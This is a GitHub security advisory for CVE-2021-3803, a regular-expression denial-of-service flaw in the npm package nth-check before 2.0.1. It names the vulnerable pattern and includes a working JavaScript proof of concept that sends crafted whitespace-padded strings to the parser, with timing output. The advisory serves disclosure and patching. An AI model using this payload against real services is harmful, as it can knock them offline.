GitHub Advisoryadvisory · npm

GHSA-rp65-9cf3-cjxr Inefficient Regular Expression Complexity in nth-check

HIGH Published 2021-09-20 Modified 2023-09-13 Official page ↗
Aliases
CVE-2021-3803
Ecosystem
npm
Packages
nth-check
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333
Reviewed
2021-09-20

Affected packages

• npm nth-check: < 2.0.1 → fixed in 2.0.1

Description

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks. The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code. Proof of Concept ```js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } } ``` The Output ``` attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms ```

Related

Alias · CVE (1)

  • CVE-2021-3803 nth-check is vulnerable to Inefficient Regular Expression Complexity vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References